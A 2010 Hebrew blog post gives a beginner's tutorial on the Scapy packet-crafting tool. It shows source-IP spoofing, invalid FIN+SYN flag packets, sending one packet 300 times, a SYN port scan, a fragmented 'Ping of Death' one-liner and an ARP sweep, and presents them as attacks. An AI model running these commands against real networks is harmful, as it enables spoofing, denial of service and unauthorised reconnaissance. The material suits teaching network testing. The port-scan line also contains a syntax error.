יום שני, 13 בדצמבר 2010

Scapy - Starting Guide

אחד הכלים המומלצים ליצירת Packets "מלוכלכים", חבילות מידע העוברות ברשת ויכולות ליצור תקלות מכוונות על מנת לבצע מגוון רחב של התקפות כמו: Denial Of Service, Exploits,Arp Poisoning ועוד.
היא מבוססת על שפת Python, ניתנת לשינוי ע"י המשתמש, כמובן כל הפרויקט הוא Open Source ובעצם היא ערכת סקריפטים ענקית וניתן להריץ בה Exploits  בכמה שורות מאשר לכתוב את ה Exploit ב C, עושים בה המון בדיקות חדירות ובדיקות למערכות IPS / IDS כמו SNORT.

מאמר זה נעשה על Backtrack 4:


המערכת פותחת לנו Command Line של Python ועכשיו נשתמש לנו באובייקטים של Scapy.

פקודת conf:
מראה לנו את הפרמטרים הגלובלים לתוכנה וניתנים לשינוי ע"י המשתמש.
>>> conf
>>> conf.session = '1'
עכשיו בעצם שינינו את ה Session לערך 1.

פקודת ()ls:
מציגה את רשימת ה Packets השמורים ב Scapy שאותם המשתמש יכול לשנות ע"פ רצונו.

בניית אובייקט IP:
הצהרה על האובייקט
>>> ip = IP(dst="192.168.1.105")
הגדרנו אובייקט של IP שמצביע על כל הכתובת שאותה אנחנו רוצים לתקוף.
>>>ip.show()
מציג לנו את הפרמטרים שניתנים לשינוי בתוך האובייקט.


במקרה שנרצה לעשות Spoof נשנה את ה src לאיזה כתובת שנרצה להתחזות לה.
>>> ip.src = "77.120.20.12"

יצירת אובייקט Protocol:
הצהרה על הפרוטוקול
>>> p = TCP()
יצרנו אובייקט מסוג פרוטוקול של TCP, אבל ניתן להגדיר סוגים רבים של פרטוקלים כמו ICMP,UDP,PPP ועוד.

הצגת הפרמטרים של הפרוטוקול
>>> p.show()

ניתן לשנות את הפרמטרים של הפרוטוקול באובייקט
>>> p.flags ="FS"

הצהרנו על הדגלים של Fin ו Syn שבעצם צירופם ביחד הוא לא הגיוני מבחינת מבנה הפרוטוקול, Fin מגדיר סיום תקשורת עם השולח וSyn מנסה לפתוח חיבור עם השולח ולכן הם מנוגדים או שילוב של Fin ו Rst שבצם סוגר את החיבור ומנסה לעשות Reset לחיבור שכבר סגור, ניתן לבדוק בעזרת שילובים אלה כיצד מערכת ההפעלה או ה Firewall מגיבים.

שליחת ה Packet:
>>> send(ip/p)
ניתן לשלוח את ה Packet מספר פעמים
>>> send([ip/p] * 300)
שלחנו את החבילה 300 פעמים.



התקפות נוספות לדוגמה:
Port Scan:
res,unasns = sr(IP(dst="192.168.1.1") /TCP(flags="S",dport(1,1024)))

Ping Of Death:
for p in fragment(IP(dst="192.168.1.1")/ICMP()/("X"*60000)):send(p)

Request MAC Address:
res,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /ARP(pdst="192.168.1.0/24"))
 
*ניתן לקבל תוצאות לתוך משתנה לדוגמה res שלמעלה , על מנת להציג את התוצאות נרשום
res.show()
 
לאתר Scapy:
 
בהצלחה...

אין תגובות:

הוסף רשומת תגובה